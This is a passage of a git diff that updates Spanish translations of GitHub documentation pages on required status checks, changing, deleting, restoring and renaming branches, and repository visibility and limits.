-![Branch with conflicting merge commits](/assets/images/help/repository/req-status-check-conflicting-merge-commits.png)
+![Ramas con conflictos en las confirmaciones de fusión](/assets/images/help/repository/req-status-check-conflicting-merge-commits.png)
 {% endif %}
 
-## Handling skipped but required checks
+## Se salta el manejo pero se requieren las verificaciones
 
-Sometimes a required status check is skipped on pull requests due to path filtering. For example, a Node.JS test will be skipped on a pull request that just fixes a typo in your README file and makes no changes to the JavaScript and TypeScript files in the `scripts` directory.
+Algunas veces, se salta una verificación de estado requerida en las solicitudes de cambios debido al filtrado de rutas. Por ejemplo, una prueba de Node.JS podría saltarse en una solicitud de cambios que solo arregla un error de dedo en tu archivo README y no hace cambios a los archivos de JavaScript y TypeScript en el directorio de `scripts`.
 
-If this check is required and it gets skipped, then the check's status is shown as pending, because it's required. In this situation you won't be able to merge the pull request.
+Si esta verificación es requerida y se salta, entonces el estado de verificación se mostrará como pendiente, dado que es requerida. En esta situación no podrás fusionar la solicitud de cambios.
 
-### Example
+### Ejemplo
 
-In this example you have a workflow that's required to pass. 
+En este ejemplo, tienes un flujo de trabajo que se requiere para pasar.
 
 ```yaml
 name: ci
@@ -80,11 +81,11 @@ jobs:
     - run: npm test
 ```
 
-If someone submits a pull request that changes a markdown file in the root of the repository, then the workflow above won't run at all because of the path filtering. As a result you won't be able to merge the pull request. You would see the following status on the pull request:
+Si alguien emite una solicitud de cambios que cambie un archivo de lenguaje de marcado en la raíz del repositorio, entonces el flujo de trabajo anterior no se ejecutará para nada debido al filtrado de ruta. Como resultado, no podrás fusionar la solicitud de cambios. Verías el siguiente estado en la solicitud de cambios:
 
-![Required check skipped but shown as pending](/assets/images/help/repository/PR-required-check-skipped.png)
+![Verificación requerida omitida, pero mostrada como pendiente](/assets/images/help/repository/PR-required-check-skipped.png)
 
-You can fix this by creating a generic workflow, with the same name, that will return true in any case similar to the workflow below :
+Puedes arreglar esto creando un flujo de trabajo genérico con el mismo nombre, el cual devolverá "true" en cualquier caso similar al flujo de trabajo siguiente:
 
 ```yaml
 name: ci
@@ -99,20 +100,21 @@ jobs:
     steps:
       - run: 'echo "No build required" '
 ```
-Now the checks will always pass whenever someone sends a pull request that doesn't change the files listed under `paths` in the first workflow.
+Ahora las verificaciones siempre pasarán cuando alguien envíe una solicitud de cambios que no cambie los archivos que se listan bajo `paths` en el primer flujo de trabajo.
 
-![Check skipped but passes due to generic workflow](/assets/images/help/repository/PR-required-check-passed-using-generic.png)
+![Verificar omitidos pero que pasan debido a un flujo de trabajo genérico](/assets/images/help/repository/PR-required-check-passed-using-generic.png)
 
 {% note %}
 
-**Notes:** 
-* Make sure that the `name` key and required job name in both the workflow files are the same. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)".
-* The example above uses {% data variables.product.prodname_actions %} but this workaround is also applicable to other CI/CD providers that integrate with {% data variables.product.company_short %}.
+**Notas:**
+* Asegúrate de que la llave `name` y el nombre de job requerido en ambos archivos de flujo de trabajo sean los mismos. Para obtener más información, consulta "[Sintaxis de flujo de trabajo para {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)".
+* El ejemplo anterior utiliza {% data variables.product.prodname_actions %}, pero esta solución también aplica a otros proveedores de IC/DC que se integran con {% data variables.product.company_short %}.
 
 {% endnote %}
 
-It's also possible for a protected branch to require a status check from a specific {% data variables.product.prodname_github_app %}. If you see a message similar to the following, then you should verify that the check listed in the merge box was set by the expected app.
+{% ifversion fpt or ghes > 3.3 or ghae-issue-5379 or ghec %}It's also possible for a protected branch to require a status check from a specific {% data variables.product.prodname_github_app %}. Si ves un mensaje similar al siguiente, entonces deberías verificar que la app esperada haya configurado la verificación que se lista en la caja de fusión.
 
 ```
-Required status check "build" was not set by the expected {% data variables.product.prodname_github_app %}.
+La {% data variables.product.prodname_github_app %} esperada no configuró la "compilación" de la verificación de estado requerida.
 ```
+{% endif %}
diff --git a/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/index.md b/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/index.md
index 41e102a54a..bfe5502955 100644
--- a/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/index.md
+++ b/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/index.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring branches and merges in your repository
-intro: 'You can manage branches in your repository, configure the way branches are merged in your repository, and protect important branches by defining the mergeability of pull requests.'
+title: Configurar ramas y fusiones en tu repositorio
+intro: 'Puedes administrar las ramas en tu repositorio, configurar la forma en la que estas se fusionan en él y proteger las ramas importantes definiendo la capacidad de fusión de las solicitudes de cambios.'
 versions:
   fpt: '*'
   ghes: '*'
@@ -12,6 +12,6 @@ children:
   - /managing-branches-in-your-repository
   - /configuring-pull-request-merges
   - /defining-the-mergeability-of-pull-requests
-shortTitle: Branches and merges
+shortTitle: Ramas y fusiones
 ---
 
diff --git a/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch.md b/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch.md
index d82c43712f..1ca850d60f 100644
--- a/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch.md
+++ b/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch.md
@@ -1,6 +1,6 @@
 ---
-title: Changing the default branch
-intro: 'If you have more than one branch in your repository, you can configure any branch as the default branch.'
+title: Cambiar la rama predeterminada
+intro: 'Si tienes màs de una rama en tu repositorio, puedes configurar cualquiera de ellas como la predeterminada.'
 permissions: People with admin permissions to a repository can change the default branch for the repository.
 versions:
   fpt: '*'
@@ -14,43 +14,40 @@ redirect_from:
   - /github/administering-a-repository/managing-branches-in-your-repository/changing-the-default-branch
 topics:
   - Repositories
-shortTitle: Change the default branch
+shortTitle: Cambia la rama predeterminada
 ---
-## About changing the default branch
 
-You can choose the default branch for a repository. The default branch is the base branch for pull requests and code commits. For more information about the default branch, see "[About branches](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch)."
+## Acerca de cambiar la rama predeterminada
+
+Puedes elegir la rama predeterminada para un repositorio. Èsta es la rama base para las solicitudes de cambios y confirmaciones de còdigo. Para obtener màs informaciòn sobre la rama predeterminada, consulta la secciòn "[Acerca de las ramas](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch)".
 
 {% ifversion not ghae %}
 {% note %}
 
-**Note**: If you use the Git-Subversion bridge, changing the default branch will affect your `trunk` branch contents and the `HEAD` you see when you list references for the remote repository. For more information, see "[Support for Subversion clients](/github/importing-your-projects-to-github/support-for-subversion-clients)" and [git-ls-remote](https://git-scm.com/docs/git-ls-remote.html) in the Git documentation.
+**Nota**: Si utilizas el puente de Git-Subversion, el cambiar la rama predeterminada afectarà al contenido de tu rama `trunk` y al `HEAD` que ves cuando listas las referencias para el repositorio remoto. Para obtener màs informaciòn, consulta la secciòn "[Soporte para los clientes de Subversion](/github/importing-your-projects-to-github/support-for-subversion-clients)" y a [git-ls-remote](https://git-scm.com/docs/git-ls-remote.html) en la documentaciòn de Git.
 
 {% endnote %}
 {% endif %}
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
 
-You can also rename the default branch. For more information, see "[Renaming a branch](/github/administering-a-repository/renaming-a-branch)."
+También puedes renombrar la rama predeterminada. Para obtener más información, consulta la sección "[Renombrar una rama](/github/administering-a-repository/renaming-a-branch)".
 
 {% endif %}
 
 {% data reusables.branches.set-default-branch %}
 
-## Prerequisites
+## Prerrequisitos
 
-To change the default branch, your repository must have more than one branch. For more information, see "[Creating and deleting branches within your repository](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#creating-a-branch)."
+Para cambiar la rama predeterminada, tu repositorio debe tener màs de una rama. Para obtener más información, consulta "[Crear y eliminar ramas dentro de tu repositorio](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#creating-a-branch)".
 
-## Changing the default branch
+## Cambiar la rama predeterminada
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.repository-branches %}
-1. Under "Default branch", to the right of the default branch name, click {% octicon "arrow-switch" aria-label="The switch icon with two arrows" %}.
-   ![Switch icon with two arrows to the right of current default branch name](/assets/images/help/repository/repository-options-defaultbranch-change.png)
-1. Use the drop-down, then click a branch name.
-   ![Drop-down to choose new default branch](/assets/images/help/repository/repository-options-defaultbranch-drop-down.png)
-1. Click **Update**.
-   !["Update" button after choosing a new default branch](/assets/images/help/repository/repository-options-defaultbranch-update.png)
-1. Read the warning, then click **I understand, update the default branch.**
-   !["I understand, update the default branch." button to perform the update](/assets/images/help/repository/repository-options-defaultbranch-i-understand.png)
+1. Debajo de "Rama predeterminada", a la derecha del nombre de rama predeterminado, da clic en el {% octicon "arrow-switch" aria-label="The switch icon with two arrows" %}. ![Cambiar el icono con dos flechas hacia la derecha del nombre de la rama predeterminada actual](/assets/images/help/repository/repository-options-defaultbranch-change.png)
+1. Utiliza el menù desplegable y luego da clic en el nombre de una rama. ![Menù desplegable para elegir una rama predeterminada nueva](/assets/images/help/repository/repository-options-defaultbranch-drop-down.png)
+1. Da clic en **Actualizar**. ![Botòn de "Update" despuès de elegir una rama predeterminada nueva](/assets/images/help/repository/repository-options-defaultbranch-update.png)
+1. Lee la advertencia y luego da clic en **Entiendo, actualizar la rama predeterminada.** ![Botón de "Entiendo, actualizar la rama predeterminada." para realizar la actualización](/assets/images/help/repository/repository-options-defaultbranch-i-understand.png)
 
diff --git a/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request.md b/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request.md
index 807c0c5aa5..44f9600a41 100644
--- a/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request.md
+++ b/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request.md
@@ -1,6 +1,6 @@
 ---
-title: Deleting and restoring branches in a pull request
-intro: 'If you have write access in a repository, you can delete branches that are associated with closed or merged pull requests. You cannot delete branches that are associated with open pull requests.'
+title: Eliminar y restaurar ramas en una solicitud de extracción
+intro: 'Si tienes acceso de escritura en un repositorio, puedes eliminar las ramas asociadas con solicitudes de extracción cerradas o fusionadas. No puedes eliminar las ramas asociadas con solicitudes de extracción abiertas.'
 redirect_from:
   - /articles/tidying-up-pull-requests
   - /articles/restoring-branches-in-a-pull-request
@@ -15,33 +15,32 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: Delete & restore branches
+shortTitle: Borrar & restablecer las ramas
 ---
-## Deleting a branch used for a pull request
 
-You can delete a branch that is associated with a pull request if the pull request has been merged or closed and there are no other open pull requests referencing the branch. For information on closing branches that are not associated with pull requests, see "[Creating and deleting branches within your repository](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#deleting-a-branch)."
+## Borrar la rama utilizada para una solicitud de extracción
+
+Puedes borrar la rama que se asocia con una solicitud de extracción si la han fusionado o cerrado y no hay ninguna otra solicitud de extracción abierta que haga referencia a dicha rama. Para obtener información sobre cerrar ramas que no están asociadas con solicitudes de extracción, consulta la sección "[Crear y borrar ramas dentro de tu repositorio](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#deleting-a-branch)".
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-pr %}
 {% data reusables.repositories.list-closed-pull-requests %}
-4. In the list of pull requests, click the pull request that's associated with the branch that you want to delete.
-5. Near the bottom of the pull request, click **Delete branch**.
-   ![Delete branch button](/assets/images/help/pull_requests/delete_branch_button.png)
+4. En la lista de solicitudes de extracción, haz clic en la solicitud de extracción que se asocie con la rama que deseas eliminar.
+5. Junto a la parte inferior de la solicitud de extracción, haz clic en **Eliminar rama**. ![Botón Eliminar rama](/assets/images/help/pull_requests/delete_branch_button.png)
 
-   This button isn't displayed if there's currently an open pull request for this branch.
+   Este botón no se muestra si hay alguna solicitud de extracción abierta para esta rama actualmente.
 
-## Restoring a deleted branch
+## Restaurar una rama eliminada
 
-You can restore the head branch of a closed pull request.
+Puedes restaurar la rama de encabezado de una solicitud de extracción cerrada.
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-pr %}
 {% data reusables.repositories.list-closed-pull-requests %}
-4. In the list of pull requests, click the pull request that's associated with the branch that you want to restore.
-5. Near the bottom of the pull request, click **Restore branch**.
-   ![Restore deleted branch button](/assets/images/help/branches/branches-restore-deleted.png)
+4. En la lista de solicitudes de extracción, haz clic en la solicitud de extracción que se asocie con la rama que deseas restaurar.
+5. Junto a la parte inferior de la solicitud de extracción, haz clic en **Restaurar rama**. ![Botón Restaurar rama eliminada](/assets/images/help/branches/branches-restore-deleted.png)
 
-## Further reading
+## Leer más
 
-- "[Creating and deleting branches within your repository](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository)"
-- "[Managing the automatic deletion of branches](/github/administering-a-repository/managing-the-automatic-deletion-of-branches)"
+- "[Crear y borrar ramas dentro de tu repositorio](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository)"
+- "[Administrar el borrado automático de ramas](/github/administering-a-repository/managing-the-automatic-deletion-of-branches)"
diff --git a/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md b/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md
index 820352f6af..7fd44389ce 100644
--- a/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md
+++ b/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md
@@ -1,7 +1,7 @@
 ---
 title: Renaming a branch
 intro: You can change the name of a branch in a repository.
-permissions: People with write permissions to a repository can rename a branch in the repository. People with admin permissions can rename the default branch.
+permissions: 'People with write permissions to a repository can rename a branch in the repository unless it is the [default branch](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches#about-the-default-branch){% ifversion fpt or ghec %} or a [protected branch](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches){% endif %}. People with admin permissions can rename the default branch{% ifversion fpt or ghec %} and protected branches{% endif %}.'
 versions:
   fpt: '*'
   ghes: '>=3.1'
diff --git a/translations/es-ES/content/repositories/creating-and-managing-repositories/about-repositories.md b/translations/es-ES/content/repositories/creating-and-managing-repositories/about-repositories.md
index 46012a30d4..628a1b1847 100644
--- a/translations/es-ES/content/repositories/creating-and-managing-repositories/about-repositories.md
+++ b/translations/es-ES/content/repositories/creating-and-managing-repositories/about-repositories.md
@@ -1,6 +1,6 @@
 ---
-title: About repositories
-intro: A repository contains all of your project's files and each file's revision history. You can discuss and manage your project's work within the repository.
+title: Acerca de los repositorios
+intro: Un repositorio contiene todos los archivos de tu proyecto y el historial de revisiones de cada uno de ellos. Puedes debatir y administrar el trabajo de tu proyecto dentro del repositorio.
 redirect_from:
   - /articles/about-repositories
   - /github/creating-cloning-and-archiving-repositories/about-repositories
@@ -20,113 +20,113 @@ topics:
   - Repositories
 ---
 
-## About repositories
+## Acerca de los repositorios
 
-You can own repositories individually, or you can share ownership of repositories with other people in an organization.
+Puedes ser propietario de repositorios individualmente o puedes compartir la propiedad de los repositorios con otras personas en una organización.
 
-You can restrict who has access to a repository by choosing the repository's visibility. For more information, see "[About repository visibility](#about-repository-visibility)."
+Puedes restringir quién tiene acceso a un repositorio seleccionando la visibilidad del mismo. Para obtener más información, consulta la sección "[Acerca de la visibilidad de un repositorio](#about-repository-visibility)".
 
-For user-owned repositories, you can give other people collaborator access so that they can collaborate on your project. If a repository is owned by an organization, you can give organization members access permissions to collaborate on your repository. For more information, see "[Permission levels for a user account repository](/articles/permission-levels-for-a-user-account-repository/)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
+Para los repositorios que son propiedad de un usuario, les puedes dar a otras personas acceso de colaborador para que puedan colaborar en tu proyecto. Si un repositorio es propiedad de una organización, les puedes dar a los miembros de la organización permisos de acceso para colaborar en tu repositorio. Para obtener más información, consulta "[Niveles de permiso para un repositorio de cuenta de usuario](/articles/permission-levels-for-a-user-account-repository/)" y "[Roles de repositorio para una organización](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)".
 
 {% ifversion fpt or ghec %}
-With {% data variables.product.prodname_free_team %} for user accounts and organizations, you can work with unlimited collaborators on unlimited public repositories with a full feature set, or unlimited private repositories with a limited feature set. To get advanced tooling for private repositories, you can upgrade to {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, or {% data variables.product.prodname_ghe_cloud %}. {% data reusables.gated-features.more-info %}
+Con {% data variables.product.prodname_free_team %} para cuentas de usuario y de organizaciones, puedes trabajar con colaboradores ilimitados en repositorios públicos ilimitados con un juego completo de características, o en repositorios privados ilimitados con un conjunto limitado de características. Para obtener herramientas avanzadas para repositorios privados, puedes mejorar tu plan a {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, o {% data variables.product.prodname_ghe_cloud %}. {% data reusables.gated-features.more-info %}
 {% else %}
-Each person and organization can own unlimited repositories and invite an unlimited number of collaborators to all repositories.
+Cada persona y organización puede tener repositorios ilimitados e invitar a un número ilimitado de colaboradores a todos ellos.
 {% endif %}
 
-You can use repositories to manage your work and collaborate with others.
-- You can use issues to collect user feedback, report software bugs, and organize tasks you'd like to accomplish. For more information, see "[About issues](/github/managing-your-work-on-github/about-issues)."{% ifversion fpt or ghec %}
+Puedes utilizar repositorios para administrar tu trabajo y colaborar con otros.
+- Puedes utilizar propuestas para recolectar la retroalimentación de los usuarios, reportar errores de software y organizar las tareas que te gustaría realizar. Para obtener más información, consulta la sección "[Acerca de las propuestas](/github/managing-your-work-on-github/about-issues)".{% ifversion fpt or ghec %}
 - {% data reusables.discussions.you-can-use-discussions %}{% endif %}
-- You can use pull requests to propose changes to a repository. For more information, see "[About pull requests](/github/collaborating-with-issues-and-pull-requests/about-pull-requests)."
-- You can use project boards to organize and prioritize your issues and pull requests. For more information, see "[About project boards](/github/managing-your-work-on-github/about-project-boards)."
+- Puedes utilizar las solicitudes de cambios para proponer cambios a un repositorio. Para obtener más información, consulta "[Acerca de las solicitudes de extracción](/github/collaborating-with-issues-and-pull-requests/about-pull-requests)."
+- Puedes utilizar tableros de proyecto para organizar y priorizar tus propuestas y solicitudes de cambios. Para obtener más información, consulta "[Acerca de los tableros de proyectos](/github/managing-your-work-on-github/about-project-boards)."
 
 {% data reusables.repositories.repo-size-limit %}
 
-## About repository visibility
+## Acerca de la visibilidad de un repositorio
 
-You can restrict who has access to a repository by choosing a repository's visibility: {% ifversion ghes or ghec %}public, internal, or private{% elsif ghae %}private or internal{% else %} public or private{% endif %}.
+Puedes restringir quién tiene acceso a un repositorio si eliges la visibilidad del mismo: {% ifversion ghes or ghec %} pública, interna, o privada{% elsif ghae %}privada o interna{% else %} pública o privada{% endif %}.
 
 {% ifversion fpt or ghec or ghes %}
 
-When you create a repository, you can choose to make the repository public or private.{% ifversion ghec or ghes %} If you're creating the repository in an organization{% ifversion ghec %} that is owned by an enterprise account{% endif %}, you can also choose to make the repository internal.{% endif %}{% endif %}{% ifversion fpt %} Repositories in organizations that use {% data variables.product.prodname_ghe_cloud %} and are owned by an enterprise account can also be created with internal visibility. For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/repositories/creating-and-managing-repositories/about-repositories).
+Cuando creas un repositorio, puedes elegir si lo quieres hacer público o privado.{% ifversion ghec or ghes %} Si estás creando el repositorio en una organización{% ifversion ghec %} que le pertenezca a una cuenta empresarial{% endif %}, también puedes elegir hacerlo interno.{% endif %}{% endif %}{% ifversion fpt %} Los repositorios en las organizaciones que utilizan {% data variables.product.prodname_ghe_cloud %} y le pertenecen a una cuenta empresarial también pueden crearse con visibilidad interna. Para obtener más información, consulta [la documentación de {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/repositories/creating-and-managing-repositories/about-repositories).
 
 {% elsif ghae %}
 
-When you create a repository owned by your user account, the repository is always private. When you create a repository owned by an organization, you can choose to make the repository private or internal.
+Cuando creas un repositorio que pertenece a tu cuenta de usuario, este siempre será privado. Cuando creas un repositorio que le pertenece a una organización, puedes elegir hacerlo privado o interno.
 
 {% endif %}
 
 {%- ifversion fpt or ghec %}
-- Public repositories are accessible to everyone on the internet.
-- Private repositories are only accessible to you, people you explicitly share access with, and, for organization repositories, certain organization members.
+- Cualquiera en la internet puede acceder a los repositorios públicos.
+- Solo tú, las personas con las que compartes el acceso explícitamente y, para los repositorios de organizaciones, algunos miembros de la organización, pueden acceder a los repositorios privados.
 {%- elsif ghes %}
-- If {% data variables.product.product_location %} is not in private mode or behind a firewall, public repositories are accessible to everyone on the internet. Otherwise, public repositories are available to everyone using {% data variables.product.product_location %}, including outside collaborators.
-- Private repositories are only accessible to you, people you explicitly share access with, and, for organization repositories, certain organization members. Internal repositories are accessible to all enterprise members.
+- Si {% data variables.product.product_location %} no está en modo privado o detrás de un cortafuegos, cualquiera en la internet podrá acceder a los repositorios públicos. De lo contrario, los repositorios públicos estarán disponibles para cualquiera que utilice {% data variables.product.product_location %}, incluyendo a los colaboradores externos.
+- Solo tú, las personas con las que compartes el acceso explícitamente y, para los repositorios de organizaciones, algunos miembros de la organización, pueden acceder a los repositorios privados.
 {%- elsif ghae %}
-- Private repositories are only accessible to you, people you explicitly share access with, and, for organization repositories, certain organization members.
+- Solo tú, las personas con las que compartes el acceso explícitamente y, para los repositorios de organizaciones, algunos miembros de la organización, pueden acceder a los repositorios privados.
 {%- endif %}
 {%- ifversion ghec or ghes or ghae %}
-- Internal repositories are accessible to all enterprise members. For more information, see "[About internal repositories](#about-internal-repositories)."
+- Todos los miembros de la empresa pueden acceder a los repositorios internos. Para obtener más información, consulta la sección "[Acerca de los repositorios internos](#about-internal-repositories)".
 {%- endif %}
 
-Organization owners always have access to every repository created in an organization. For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
+Los propietarios de la organización siempre tiene acceso a todos los repositorios creados en la misma. Para obtener más información, consulta la sección "[Roles de repositorio para una organización](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)".
 
-People with admin permissions for a repository can change an existing repository's visibility. For more information, see "[Setting repository visibility](/github/administering-a-repository/setting-repository-visibility)."
+Las personas con permisos de administrador para un repositorio pueden cambiar la visibilidad de los repositorios existentes. Para obtener más información, consulta la sección "[Configurar la visibilidad de los repositorios](/github/administering-a-repository/setting-repository-visibility)".
 
 {% ifversion ghes or ghec or ghae %}
-## About internal repositories
+## Acerca de los repositorios internos
 
-{% data reusables.repositories.about-internal-repos %} For more information on innersource, see {% data variables.product.prodname_dotcom %}'s whitepaper "[An introduction to innersource](https://resources.github.com/whitepapers/introduction-to-innersource/)."
+{% data reusables.repositories.about-internal-repos %}Para obtener más información sobre innersource, consulta la documentación técnica de {% data variables.product.prodname_dotcom %} "Introducción a innersource".
 
-All enterprise members have read permissions to the internal repository, but internal repositories are not visible to people {% ifversion fpt or ghec %}outside of the enterprise{% else %}who are not members of any organization{% endif %}, including outside collaborators on organization repositories. For more information, see "[Roles in an enterprise](/github/setting-up-and-managing-your-enterprise/roles-in-an-enterprise#enterprise-members)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
+Todos los miembros de las empresas tienen permiso de lectura para los repositorios internos, pero las personas {% ifversion fpt or ghec %}externas a la empresa{% else %}que no sean miembros de ninguna organización{% endif %}, incluyendo los colaboradores externos en los repositorios organizacionales, no pueden verlos. Para obtener más información, consulta las secciones "[Roles en una empresa](/github/setting-up-and-managing-your-enterprise/roles-in-an-enterprise#enterprise-members)" y "[Acerca de los roles de repositorio en una organización](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)".
 
 {% ifversion ghes %}
 {% note %}
 
-**Note:** A user must be part of an organization to be an enterprise member and have access to internal repositories. If a user on {% data variables.product.product_location %} is not a member of any organization, that user will not have access to internal repositories.
+**Nota:** Un usuario debe ser parte de una organización para ser un miembro de la empresa y tener acceso a los repositorios internos. Si un usuario de {% data variables.product.product_location %} no es un miembro de alguna organización, este no tendrá acceso a los repositorios internos.
 
 {% endnote %}
 {% endif %}
 
 {% data reusables.repositories.internal-repo-default %}
 
-Any member of the enterprise can fork any internal repository owned by an organization in the enterprise. The forked repository will belong to the member's user account, and the visibility of the fork will be private. If a user is removed from all organizations owned by the enterprise, that user's forks of internal repositories are removed automatically.
+Cualquier miembro de la empresa puede bifurcar cualquier repositorio interno que pertenezca a una organización de esta. El repositorio bifurcado pertenecerá a la cuenta de usuario del miembro y la visibilidad de este será privada. Si se elimina a un usuario de todas las organizaciones que pertenezcan a la empresa, las bifurcaciones de dicho usuario para los repositorios internos se eliminarán automáticamente.
 {% endif %}
 
-## Limits for viewing content and diffs in a repository
+## Límites para ver contenido y diferencias en un repositorio
 
-Certain types of resources can be quite large, requiring excessive processing on {% data variables.product.product_name %}. Because of this, limits are set to ensure requests complete in a reasonable amount of time.
+Determinados tipos de recursos pueden ser bastante grandes y requerir mucho procesamiento en {% data variables.product.product_name %}. Por este motivo, se establecen límites para asegurar que las solicitudes se realicen en una cantidad de tiempo razonable.
 
-Most of the limits below affect both {% data variables.product.product_name %} and the API.
+La mayoría de los límites que aparecen a continuación afectan tanto {% data variables.product.product_name %} como la API.
 
-### Text limits
+### Límites de texto
 
-Text files over **512 KB** are always displayed as plain text. Code is not syntax highlighted, and prose files are not converted to HTML (such as Markdown, AsciiDoc, *etc.*).
+Los archivos de texto de más de **512 KB** siempre se mostrarán como texto simple. El código no es de sintaxis resaltada, y los archivos de prosa no se convierten a HTML (como Markdown, AsciiDoc, *etc.*).
 
-Text files over **5 MB** are only available through their raw URLs, which are served through `{% data variables.product.raw_github_com %}`; for example, `https://{% data variables.product.raw_github_com %}/octocat/Spoon-Knife/master/index.html`. Click the **Raw** button to get the raw URL for a file.
+Los archivos de texto de más de **5 MB** están disponibles solo a través de sus URL originales, que se ofrecen a través de `{% data variables.product.raw_github_com %}`; por ejemplo, `https://{% data variables.product.raw_github_com %}/octocat/Spoon-Knife/master/index.html`. Haz clic en el botón **Raw** (Original) para obtener la URL original de un archivo.
 
-### Diff limits
+### Límites de diferencias
 
-Because diffs can become very large, we impose these limits on diffs for commits, pull requests, and compare views:
+Como las diferencias se pueden volver muy grandes, imponemos los siguientes límites en las diferencias para las confirmaciones, las solicitudes de extracción y las vistas comparadas:
 
-- In a pull request, no total diff may exceed *20,000 lines that you can load* or *1 MB* of raw diff data.
-- No single file's diff may exceed *20,000 lines that you can load* or *500 KB* of raw diff data. *Four hundred lines* and *20 KB* are automatically loaded for a single file.
-- The maximum number of files in a single diff is limited to *300*.
-- The maximum number of renderable files (such as images, PDFs, and GeoJSON files) in a single diff is limited to *25*.
+- En una solicitud de cambios, ningún diff total podrá exceder las *20,000 líneas que puedes cargar* o *1 MB* de datos de diff sin procesar.
+- El diff de un archivo único no puede superar las *20.000 líneas que puedes cargar* o *500 KB* de datos de la diferencia original. *Cuatrocientas líneas* y *20 KB* se cargan de forma automática para un archivo único.
+- La cantidad máxima de archivos en diff único se limita a *300*.
+- La cantidad máxima de archivos de representación (como PDF y archivos GeoJSON) en una diferencia única está limitada a *25*.
 
-Some portions of a limited diff may be displayed, but anything exceeding the limit is not shown.
+Se pueden mostrar algunas partes de una diferencia limitada, pero no se muestra nada que supere el límite.
 
-### Commit listings limits
+### Límites de listas de confirmaciones
 
-The compare view and pull requests pages display a list of commits between the `base` and `head` revisions. These lists are limited to **250** commits. If they exceed that limit, a note indicates that additional commits are present (but they're not shown).
+Las páginas de vista comparada y de solicitudes de extracción muestran una lista de confirmaciones entre las revisiones de `base` y de `encabezado`. Estas listas están limitadas a **250** confirmaciones. Si superan ese límite, una nota indica que existen más confirmaciones (pero no se muestran).
 
-## Further reading
+## Leer más
 
-- "[Creating a new repository](/articles/creating-a-new-repository)"
-- "[About forks](/github/collaborating-with-pull-requests/working-with-forks/about-forks)"
-- "[Collaborating with issues and pull requests](/categories/collaborating-with-issues-and-pull-requests)"
-- "[Managing your work on {% data variables.product.prodname_dotcom %}](/categories/managing-your-work-on-github/)"
-- "[Administering a repository](/categories/administering-a-repository)"
-- "[Visualizing repository data with graphs](/categories/visualizing-repository-data-with-graphs/)"
-- "[About wikis](/communities/documenting-your-project-with-wikis/about-wikis)"
-- "[{% data variables.product.prodname_dotcom %} glossary](/articles/github-glossary)"
+- "[Crear un repositorio nuevo](/articles/creating-a-new-repository)"
+- "[Acerca de las bifurcaciones](/github/collaborating-with-pull-requests/working-with-forks/about-forks)"
+- "[Colaborar con propuestas y solicitudes de extracción](/categories/collaborating-with-issues-and-pull-requests)"
+- "[Administrar tu trabajo en {% data variables.product.prodname_dotcom %}](/categories/managing-your-work-on-github/)"
+- "[Administrar un repositorio](/categories/administering-a-repository)"
+- "[Visualizar datos del repositorio con gráficos](/categories/visualizing-repository-data-with-graphs/)"
